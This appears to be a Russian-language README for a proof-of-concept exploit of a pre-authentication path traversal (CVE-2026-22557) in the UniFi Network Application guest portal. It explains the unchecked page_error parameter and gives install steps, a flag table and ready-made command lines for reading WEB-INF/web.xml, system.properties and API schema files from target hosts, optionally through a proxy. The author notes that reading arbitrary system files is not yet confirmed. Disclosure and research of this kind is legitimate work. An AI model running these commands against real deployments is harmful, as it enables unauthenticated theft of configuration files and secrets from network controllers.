
PoC для Pre-Auth Path Traversal в UniFi Network Application (CVE-2026-22557)
Предварительно аутентифицированный обход каталога в гостевом портале UniFi Network Application (/guest/s/{site}/login). Параметр запроса page_error передаётся загрузчику ресурсов без проверки, что позволяет неаутентифицированному злоумышленнику читать файлы из веб-приложения (например, WEB-INF/web.xml).
Если страница гостевого портала была настроена, загрузчик ресурсов, по-видимому, переключается на ветку с необработанным FileInputStream, которая может получить доступ к произвольным файлам в базовой системе за пределами корневого контекста. Я пока не подтвердил это и продолжу исследование, если появится время.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| Флаг | Описание | По умолчанию |
|---|
target | URL цели (например, https://host:8843) | (обязательно) |
-f | Относительный путь для чтения | ../../web.xml |
-g | Путь гостевого портала | /guest/s/default/login |
-o | Записать ответ в файл | (stdout) |
-x | URL прокси | (нет) |

# По умолчанию -- чтение WEB-INF/web.xml (гостевой портал HTTPS)
python CVE-2026-22557.py https://192.168.1.1:8843
# Гостевой портал HTTP
python CVE-2026-22557.py http://192.168.1.1:8880
# Чтение ресурса classpath
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# Чтение схемы API и сохранение в файл
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Другое имя сайта
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# Через прокси
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080